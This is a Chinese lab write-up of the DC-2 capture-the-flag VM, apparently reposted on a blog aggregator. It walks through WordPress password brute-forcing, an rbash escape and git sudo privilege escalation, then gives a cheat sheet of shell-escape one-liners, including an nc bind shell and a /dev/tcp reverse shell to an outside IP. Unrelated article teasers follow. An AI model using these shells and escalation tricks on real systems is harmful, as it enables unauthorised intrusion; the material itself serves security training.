小H靶场学习笔记:DC-2

DC-2

Created: November 10, 2023 3:01 PM
Tags: WordPress, git提权, rbash逃逸
Owner: 只会摸鱼

靶场过程

信息收集

  • 扫描存活主机,找到靶机ip:192.168.199.131(本机是192.168.199.129)
    在这里插入图片描述

  • 扫描端口开放协议

    在这里插入图片描述

    • 发现有80端口和7744,但80端口有重定向,尝试直接访问无法访问。 因重定向页面为http://dc-2/,固修改/etc/hosts文件,将靶机ip绑定在该网址,再次直接访问,可正常跳转。
      在这里插入图片描述
      在这里插入图片描述
  • 指纹识别
    在这里插入图片描述

    • 可尝试利用WordPress4.7的漏洞
    • 使用msf模块利用无果
  • 返回页面查看是否有其他信息提示

    • 发现了页面提供了flag提示信息
      在这里插入图片描述
      在这里插入图片描述

    • 提示了使用cewl 得到字典, 使用尝试使用身份登录

    kali密码攻击工具——Cewl使用指南 | 码农网

漏洞利用

  • 后台目录爆破一下,发现有login页面,访问一下,跳转到登陆页面。

在这里插入图片描述

在这里插入图片描述

  • 使用cewl输出字典,到文件dicts.txt
    在这里插入图片描述

  • 因使用的是WordPress,可使用专门针对此CMS的工具WPScan进行枚举用户名,并爆破。

    • 枚举用户名,得到三个用户。
      在这里插入图片描述
      在这里插入图片描述
  • 逐个对三个用户进行密码爆破。

    • wpscan --url dc-2 -U ‘admin,jerry,tom’ -P ~/Desktop/dicts.txt
      在这里插入图片描述

    • 只有jerry 和tom爆破出了密码

  • 尝试登录,jerry登陆成功,找到第二个flag
    在这里插入图片描述

    • 翻译一下,让寻找其他切入点,没办法,只剩下了7744端口的ssh服务了

在这里插入图片描述

提权

  • 尝试ssh登录,使用jerry和tom账号,使用jerry账号和密码,无论怎么尝试都无法登录,尝试使用tom账号和密码,成功登录。

    在这里插入图片描述

    • 尝试一些命令,发现都没有权限
      在这里插入图片描述
  • 应该是rbash,尝试rbash逃逸

    • 查看有哪些命令权限
      在这里插入图片描述

    • 使用vi设置shell

      • 直接输入vi进入编辑器页面,按esc+:输入命令set shell=/bin/bash回车后在输入:shell
        在这里插入图片描述
        在这里插入图片描述

      • 回车后会弹出如下页面,即成功,接下来要配置环境变量以正常执行命令。
        在这里插入图片描述

      • 配置完,即可正常执行shell命令
        在这里插入图片描述

      • 查看flag3文件,发现提示,让使用登录tom后用su命令切换到jerry

        在这里插入图片描述

      • 使用jerry的密码尝试登陆,发现成*
        在这里插入图片描述

  • 查找flag文件

    • find / -name “*flag*”
      在这里插入图片描述

    • 找到了flag4,得到了提示, git 提权
      在这里插入图片描述

    • 使用sudo git help config打开config页面

      • 输入!/bin/bash

        在这里插入图片描述

    • 回车后,弹出root交互shell,即成功,找到最后的flag读出。

      在这里插入图片描述

rbash逃逸

rbash是什么

它与一般shell的区别在于会限制一些行为,让一些命令无法执行。

简单理解就是最低权限的用户

如何设置rbash

cp /bin/bash /bin/rbash # 复制一个bash,重命名为rbash
useradd -s /bin/rbash test # 设置用户test登陆的shell为rbash
mkdir -p /home/test/.bin # 在test用户下新建一个.bin目录存放可以执行的命令

逃逸方法

枚举Linux环境(为逃逸rbash做信息收集)

echo $PATH # 弹出当前PATH环境变量

echo 路径+ /* #路径使用最后为bin目录的,以找到当前所有可以执行的程序命令

常用逃逸技术

nmap

适用版本:nmap2.02至5.21

在早期nmap版本中,带有交互模式,因而允许用户执行shell命令

使用如下命令进入nmap交互模式:

nmap --interactive

在nmap交互模式中 通过如下命令提权

nmap> !sh

msf当中也有利用nmap进行提权的模块

exploit/unix/local/setuid_nmap

find

find比较常用,find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。

提权如下:

#进入shell
find anyfile -exec '/bin/sh' \; 或者 find anyfile -exec '/bin/bash' \;
#其中find 常用
find / -exec '/bin/bash' \; 或者 find / -exec '/bin/sh' \;

linux一般都安装了nc 我们也可以利用nc 广播或反弹shell

广播shell:

find user -exec nc -lvp 4444 -e '/bin/sh' \; 
#或者
find user -exec nc -lvp 4444 -e '/bin/bash' \; 

在攻击机上:

nc 靶机ip 4444

反弹shell

find anyfile -exec bash -c 'bash -i >& /dev/tcp/114.xxx.xxx.96/4444 0>&1' \;

在攻击机上:

nc -lvvp 4444

Vim

vim的主要用途是做编辑器,是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。

vim.tiny  /etc/passwd

通过vim进入shell

vim.tiny
#vim命令
:set shell = '/bin/sh'
:shell

设置环境变量

export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

Vi

通过vi进入shell

vi
#vi命令
:set shell = '/bin/sh' 或者 :set shell='/bin/bash'
:shell

设置环境变量

export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

Bash

  • 方法一

BASH_CMDS设置shell

BASH_CMDS[x]=/bin/bash
#设置了个x变量shell
x
#相当于执行shell

设置一下环境变量

export PATH=$PATH:/bin/
 
export PATH=$PATH:/usr/bin/
  • 方法二

以下命令将以root身份打开一个bash shell。

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

less

less命令也可以进入shell

less /etc/passwd
#在less中输入:
!/bin/sh 或者 !/bin/bash

more

more命令进入shell和less相同

more /etc/passwd
#在more中输入:
!/bin/sh 或者 !/bin/bash

要注意的是使用more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell

nano

nano也算是比较上古的文本编辑器了

nano进入shell的方法为

nano #进入nano编辑器
Ctrl + R
Ctrl + X
#即可输入命令

cp

使用cp 命令覆盖原来的/etc/passwd文件

awk

awk命令进入shell:

awk 'BEGIN {system("/bin/bash")}'

Git提权

  • 前提是执行sudo -l 提示不需要密码可以使用git命令

    在这里插入图片描述

方法一

sudo git help config #在末行命令模式直接输入 
!/bin/bash 或 !'sh' #完成提权

方法二

在这里插入图片描述

sudo git -p help #弹出help信息窗口
!/bin/bash #输入后,即可打开一个用户为root的shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/136867.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

电路设计之36V 自动断电和防浪涌电路

1. 电路图纸 2. 解释防浪涌功能怎么实现的 1. 首先当电源上电的一瞬间是 电容C1 是相当于短路的。 (电容的充电状态。电容充电相当于短路状态) 2. 当上电的一瞬间是有 浪涌的。 3.当上电的瞬间有浪涌的,此时电容C1 相当于短路,所…

Java学习_对象

对象在计算机中的执行原理 类和对象的一些注意事项 this关键字 构造器 构造器是一种特殊的方法 : 特殊之处在于,名字必须与所在类的名字一样,而且不能写返回值类型 封装 封装的设计规范:合理隐藏、合理暴露 实体类 成员变量和局部变量的区别 …

有源RS低通滤波

常用的滤波电路有无源滤波和有源滤波两大类。若滤波电路元件仅由无源元件(电阻、电容、电感)组成,则称为无源滤波电路。无源滤波的主要形式有电容滤波、电感滤波和复式滤波(包括倒L型、LC滤波、LCπ型滤波和RCπ型滤波等)。若滤波电路不仅有无…

【Redis】list列表

上一篇: String 类型 https://blog.csdn.net/m0_67930426/article/details/134362606?spm1001.2014.3001.5501 目录 Lpush LRange Rpush Lpop Rpop Lindex Ltrim Lset 列表不存在的情况 如果列表存在 Linsert ​编辑 在………之前插入 在……后面插入…

UE地形系统材质混合实现和Shader生成分析(UE5 5.2)

前言 随着电脑和手机硬件性能越来越高,游戏越来越追求大世界,而大世界非常核心的一环是地形系统,地形系统两大构成因素:高度和多材质混合,此篇文章介绍下UE4/UE5 地形的材质混合方案----基于WeightMap混合。 材质层 …

总结:利用JDK原生命令,制作可执行jar包与依赖jar包

总结:利用JDK原生命令,制作可执行jar包与依赖jar包 一什么是jar包?二制作jar包的工具:JDK原生自带的jar命令(1)jar命令注意事项:(2)jar包清单文件创建示例:&a…

Yolo自制detect训练

Install 把代码拉下来 GitHub - ultralytics/yolov5 at v5.0 然后 pip install -r requirements.txt 安装完了,运行一下detect.py即可 结果会保存在对应的目录下 Intro ├── data:主要是存放一些超参数的配置文件(这些文件(yaml文件)是用来配置训练集和测试集还有验…

【Redis】set 集合

上一篇:list 列表 https://blog.csdn.net/m0_67930426/article/details/134364315?spm1001.2014.3001.5501 目录 Sadd Smembers Sismember Scard Srem ​编辑Srandomember Spop Smove 集合类 Sdiff Sinter Sunion 官网 https://redis.io/commands/?…

01-Spring中的工厂模式

工厂模式 工厂模式的三种形态: 工厂模式是解决对象创建问题的属于创建型设计模式,Spring框架底层使用了大量的工厂模式 第一种:简单工厂模式是工厂方法模式的一种特殊实现,简单工厂模式又叫静态工厂方法模式不属于23种设计模式之一第二种:工厂方法模式…

记录一次某某虚拟机的逆向

导语 学了一段时间的XPosed,发现XPosed真的好强,只要技术强,什么操作都能实现... 这次主要记录一下我对这款应用的逆向思路 apk检查 使用MT管理器检查apk的加壳情况 发现是某数字的免费版本 直接使用frida-dexdump 脱下来后备用 应用分…

基于springboot实现桥牌计分管理系统项目【项目源码】

基于springboot实现桥牌计分管理系统演示 JAVA简介 JavaScript是一种网络脚本语言,广泛运用于web应用开发,可以用来添加网页的格式动态效果,该语言不用进行预编译就直接运行,可以直接嵌入HTML语言中,写成js语言&#…

Lambertian模型(完美漫反射)

这里使用相乘的方式组合光照色和纹理色。根据这个模型,面朝光源的区域光照强度高,纹理色也相应增强。面背光源的区域光照弱,纹理色也被抑制。这样通过光照和纹理的结合,可以合成出具有照明效果的面部颜色,而不仅仅是固定的纹理本身的颜色。相乘方式可以近似实现不同光照方向下面…

“第六十六天”

这个我记得是有更优解的&#xff0c;不过还是明天发吧&#xff0c;明天想一想&#xff0c;看看能不能想起来 #include<string.h> int main() {char a[201] { 0 };char b[201] { 0 };scanf("%s %s", a, b);int na strlen(a);int nb strlen(b);int i 0, j …

Leetcode421. 数组中两个数的最大异或值

Every day a Leetcode 题目来源&#xff1a;421. 数组中两个数的最大异或值 解法1&#xff1a;贪心 位运算 初始化答案 ans 0。从最高位 high_bit 开始枚举 i&#xff0c;也就是 max⁡(nums) 的二进制长度减一。设 newAns ans 2i&#xff0c;看能否从数组 nums 中选两个…

基于SpringBoot+Vue的在线学习平台系统

基于SpringBootVue的在线学习平台系统的设计与实现~ 开发语言&#xff1a;Java数据库&#xff1a;MySQL技术&#xff1a;SpringBootMyBatisVue工具&#xff1a;IDEA/Ecilpse、Navicat、Maven 系统展示 主页 用户界面 登录界面 管理员界面 摘要 本文设计并实现了一套基于Spri…

【MySQL】使用C/C++访问MySQL

文章目录 一. 环境准备1. 方法一2. 方法二 二. MySQL接口介绍1. 初始化/连接/关闭2. 执行操作3. 查找操作 结束语 本篇环境是云服务器Centos上的MySQL 版本; 一. 环境准备 使用C/C访问MySQL&#xff0c;首先需要MySQL的开发者库 这里提供两种方法&#xff1a; 1. 方法一 …

【Java 进阶篇】Java与JQuery:探秘事件绑定、入口函数与样式控制

在现代的Web开发中&#xff0c;Java和JQuery是两个不可或缺的角色。Java为我们提供了强大的后端支持&#xff0c;而JQuery则是前端开发的得力助手。本篇博客将围绕Java和JQuery&#xff0c;深入探讨事件绑定、入口函数和样式控制&#xff0c;带你进入前端开发的奇妙世界。 Jav…

音视频基础知识

图像&#xff08;YUV RGB&#xff09; ​​​​​​​​​​​​​​这个讲的比较好 RGB颜色编码 图像显示主要是由像素组成&#xff0c;每个像素点的颜色组成都是采用RGB格式&#xff0c;RGB就是红、绿、蓝&#xff0c;RGB分别取不同的值&#xff0c;展示不同的颜色。 YUV…

支持存档的书签服务LinkWarden

什么是 LinkWarden &#xff1f; Linkwarden 是一个自托管、开源协作书签管理器&#xff0c;用于收集、组织和存档网页。目标是将您在网络上找到的有用网页和文章组织到一个地方&#xff0c;并且由于有用的网页可能会消失&#xff08;参见链接失效的必然性&#xff09;&#xf…

网络原理-UDP/TCP详解

一. UDP协议 UDP协议端格式 由上图可以看出&#xff0c;一个UDP报文最大长度就是65535. • 16位长度&#xff0c;表示整个数据报&#xff08;UDP首部UDP数据&#xff09;的最大长度&#xff08;注意&#xff0c;这里的16位UDP长度只是一个标识这个数据报长度的字段&#xff0…